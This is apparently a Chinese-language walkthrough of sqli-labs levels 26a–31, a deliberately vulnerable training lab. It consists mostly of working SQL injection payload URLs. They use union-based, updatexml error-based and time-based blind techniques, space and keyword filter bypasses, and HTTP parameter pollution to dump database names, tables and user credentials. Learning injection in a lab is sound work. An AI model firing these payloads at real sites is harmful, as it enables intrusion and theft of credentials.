Less-26a

1
2
3
4
5
6
7
8
9
1. http://127.0.0.1/sqli/Less-26a/?id=1 返回数据正常
2. http://127.0.0.1/sqli/Less-26a/?id=1' 此时没有数据返回
3. http://127.0.0.1/sqli/Less-26a/?id=1') ;%00此时我们可以得到返回正常的数据

4. 代码中 //print_r(mysql_error()); 屏蔽了返回的错误,所以这里我们不能使用报错注入。我们使用联合查询注入

5. http://127.0.0.1/sqli/Less-26a/?id=111') %a0 union %a0 select %a0 1,2,3;%00 直接将所有的空格替换为%a0,根据hint得到可以回显的位置。(特别感谢网络上无偿提供搭建环境的人,感谢您的帮助)
6. http://127.0.0.1/sqli/Less-26a/?id=111') %a0 union %a0 select %a0 1,2,group_concat(schema_name) %a0 from %a0 infoorrmation_schema.schemata ;%00 获取所有的数据库
7. 记得空格使用%a0进行替换,不要直接复制ppt,因为里面的英文逗号会被转成中文的

Less-27

%a0 – 空格

1
2
3
4
5
6
7
8
9
10
11
1. http://121.199.30.46/Less-27/?id=1 有数据
2. http://121.199.30.46/Less-27/?id=1' 此时报错,说明可能存在注入
3. http://121.199.30.46/Less-27/?id=1';%00 成功将单引号进行闭合掉,说明存在注入
4. http://121.199.30.46/Less-27/?id=1' %a0 order %a0 by %a0 3 ;%00 根据hint可以进行这样的order by
5. http://121.199.30.46/Less-27/?id=1' %a0 union %a0 select %a0 1, 2, 3 ;%00 此时返回错误,我们看下源码

发现union select等关键字被替换为空,我们尝试大小写混合

6. http://121.199.30.46/Less-27/?id=1' %a0 uNion %a0 sElect %a0 1, 2, 3 ;%00 此时返回正常数据

7. http://121.199.30.46/Less-27/?id=111' %a0 uNion %a0 sElect %a0 1, 2, group_concat(schema_name) %a0 from %a0 information_schema.schemata ;%00 拿到所有的数据库,一定要留意hint的提示

使用报错注入

1
2
3
4
5
1. http://121.199.30.46/Less-27/?id=1'  %a0 ||    %a0   updatexml(1, concat(0x7e, ( database()  ) ), 1)  %a0  || '1'='1  首先拿到数据库名称
2. http://121.199.30.46/Less-27/?id=1' %a0 || updatexml(1, concat(0x7e, ( SEleCt %a0 schema_name %a0 from %a0 information_schema.schemata %a0 limit %a0 1,1 ) ),1) || %a0 '1'='1 通过这样查,可以拿到所有的库信息。
3. http://121.199.30.46/Less-27/?id=1' %a0 || updatexml(1, concat(0x7e, ( SEleCt %a0 table_name %a0 from %a0 information_schema.tables %a0 where %a0 table_schema = 0x7365637572697479 %a0 limit %a0 1,1 ) ),1) || %a0 '1'='1 通过遍历所有的表的值
4. http://121.199.30.46/Less-27/?id=1' %a0 || updatexml(1, concat(0x7e, ( SEleCt %a0 column_name %a0 from %a0 information_schema.columns %a0 where %a0 table_name = 0x7573657273 %a0 limit %a0 1,1 ) ),1) || %a0 '1'='1 通过遍历取出所以都字段
5. http://121.199.30.46/Less-27/?id=1' %a0 || updatexml(1, concat(0x7e, ( SElect %a0 concat_ws(0x7e,username,password) from %a0 security.users %a0 limit %a0 1,1 ) ),1) || %a0 '1'='1

Less-27a

1
2
3
4
5
6
7
8
9
1. http://47.100.118.240:8888/Less-27a/?id=1 有数据
2. http://47.100.118.240:8888/Less-27a/?id=1' 此时没有报错,我们将显示sql语句的代码加到代码中。
3. http://47.100.118.240:8888/Less-27a/?id=1";%00 此时显示正常,但是报错的信息不会显示在代码中。
4. http://47.100.118.240:8888/Less-27a/?id=1111" %a0 uNIon %a0 sElEct %a0 1,2,3 ;%00 得到数据可以回显的位置。
5. http://47.100.118.240:8888/Less-27a/?id=1111" %a0 uNIon %a0 sElEct %a0 1,2, group_concat(schema_name) from %a0 information_schema.schemata ;%00 取出了所有的库
6. http://47.100.118.240:8888/Less-27a/?id=1111" %a0 uNIon %a0 sElEct %a0 1,2, group_concat(table_name) from %a0 information_schema.tables %a0 where %a0 table_schema = 0x7365637572697479 ;%00 取出了所有的表
7. http://47.100.118.240:8888/Less-27a/?id=1111" %a0 uNIon %a0 sElEct %a0 1,2, group_concat(column_name) %a0 from %a0 information_schema.columns %a0 where %a0 table_name = 0x7573657273 ;%00 取出了所有的字段名
8. http://47.100.118.240:8888/Less-27a/?id=1111" %a0 uNIon %a0 sElEct %a0 1,2, group_concat(concat_ws(0x7e,username,password)) %a0 from %a0 security.users ;%00 取出所有的字段值

法二:使用基于时间的盲注 其中 %26%26 代表 &&

1
2
3
4
5
1. http://47.100.118.240:8888/Less-27a/?id=1" %26%26 if( length(database())>1, 1, sleep(5)    )  %26%26 %0a  "1"="1 

注意:在句子后面不能使用or,因为使用or的情况下,无论如何情况返回都会是真。

2. http://47.100.118.240:8888/Less-27a/?id=1111" || if( length(database())=1, 1, sleep(5) ) %26%26 %0a "1"="1 这样写也是可以的

Less-28

1
2
3
4
5
6
7
8
9
10
11
我们在mysql命令行中执行以下命令:
1. select * from users ; 显示所有的数据
2. select true ; 返回结果是1,也就是代表正确
3. select false; 返回结果是0,代表着错误
4. select (2 and 1=2); 返回结果是 0
5. select (2 or 1=2); 返回结果是 1
6. select * from users where id=(1); 此时返回第一列数据
7. select * from users where id=(true); 此时返回也是第一列
以上问题说明,我们的id值处理有问题,正确的语句应该是:
SELECT * FROM users WHERE id=('1'||'1'='2') LIMIT 0,1

1
2
3
4
5
6
7
8
1. http://47.100.118.240:8888/Less-28/?id=1 显示正常
2. http://47.100.118.240:8888/Less-28/?id=1' 此时显示不正常,说明可能存在注入漏洞
3. http://47.100.118.240:8888/Less-28/?id=1') ;%00 通过我们添加的代码可以将单引号进行补全。
4. http://47.100.118.240:8888/Less-28/?id=1') %a0 order %a0 by %a0 3 ;%00 通过order by 和%a0组合得到一共有三列
5. http://47.100.118.240:8888/Less-28/?id=1111') %a0 union %a0 select %a0 1,2,3 ;%00 此时可以得到回显位。
6. http://47.100.118.240:8888/Less-28/?id=1111') %a0 union %a0 select %a0 1,2,group_concat(schema_name) %a0 from %a0 information_schema.schemata ;%00 获得所有的库,与less-27基本相同。
7. http://47.100.118.240:8888/Less-28/?id=111') %a0 union %a0 select %a0 1,2,3 || ('1') = ('1 我们也可以使用or来闭合,这种是不使用;%00的情况。

1
2
3
4
法二:基于时间的盲注
1. http://47.100.118.240:8888/Less-28/?id=1') %a0 %26%26 if( length(database())>1, 1, sleep(5) ) ;%00
2. http://47.100.118.240:8888/Less-28/?id=1') %a0 %26%26 if( length(database())>1, 1, sleep(5) ) %26%26 ('1')=('1
这两种都是可以的

Less-28a

1
2
3
4
5
6
1. http://47.100.118.240:8888/Less-28a/?id=1 此时显示正常
2. http://47.100.118.240:8888/Less-28a/?id=1' 有报错,可能存在注入
3. http://47.100.118.240:8888/Less-28a/?id=1') %a0 order %a0 by %a0 3 ;%00 利用order by语句得到一共有3列。
4. http://47.100.118.240:8888/Less-28a/?id=1111') %a0 union %a0 select %a0 1,2,3 ;%00 此时得到数据可以显示的位置。
5. http://47.100.118.240:8888/Less-28a/?id=1111') %a0 union %a0 select %a0 1,2,group_concat(schema_name) %a0 from %a0 information_schema.schemata ;%00 得到所有的库
6. 其余的操作和less-27基本无异。
1
2
3
4
5
法二:基于时间的盲注
1. http://47.100.118.240:8888/Less-28a/?id=11111') %a0 or %a0 if( length(database())=8, 1, sleep(5) ) --+
或者是
2. http://47.100.118.240:8888/Less-28a/?id=1') %a0 and %a0 if( length(database())=8, 1, sleep(5) ) --+ 此时要确保前面的id值是可以查到的,不能使用一个不存在的id值。

Less-29

  1. 需要搭建jsp服务
  2. 我们可以使用jspstudy在本地搭建,端口设置为8080
  3. phpstudy端口设置为80
  4. 修改jsp中的文件index.jsp文件的url指向位置到你安装sqli-labs中的less29下
  5. 不然就和第一关没什么两样

  • 服务器两层架构
    1
    http参数污染:jsp/tomcat使用getgetParameter("id")获取到的是第一个值,php/apache使用$_GET["id"]获取的是第二个值,那么第一个id纯数字,第二个id的值

1
2
3
4
5
1. http://127.0.0.1:8080/sqli_/Less-29/index.jsp?id=1&id=3'  order by 3--+ 说明数据有3列,而且第一个id值无法注入
2. http://127.0.0.1:8080/sqli_/Less-29/index.jsp?id=1&id=113' union select 1,2, 3 --+ 已经知道数据回显的位置
3. http://127.0.0.1:8080/sqli_/Less-29/index.jsp?id=1&id=113' union select 1,2, group_concat(schema_name) from information_schema.schemata --+ 此时我们已经取出数据库的名字。
4. 接下来就是常规的操作,和less1基本一致

Less-30

1
2
3
4
1. http://127.0.0.1:8080/sqli_/Less-30/index.jsp?id=1&id=1" order by 3--+  这里显示是正常的,4的时候是不正常的,但是显示异常并没有显示报错的信息。说明无法使用报错注入。
2. 接下里和less29相同
3. http://127.0.0.1:8080/sqli_/Less-30/index.jsp?id=1&id=11111" union select 1,2, 3--+
4. http://127.0.0.1:8080/sqli_/Less-30/index.jsp?id=1&id=11111" union select 1,2, group_concat(schema_name) from information_schema.schemata --+ 接下来就是常规操作了。

Less-31

1
2
3
4
1. http://127.0.0.1:8080/sqli_/Less-31/index.jsp?id=1&id=-1 ") union select 1,2,3 --+ 
2. http://127.0.0.1:8080/sqli_/Less-31/index.jsp?id=1&id=-1 ") union select 1,2,group_concat(schema_name) from information_schema.schemata --+

操作和前面的基本相同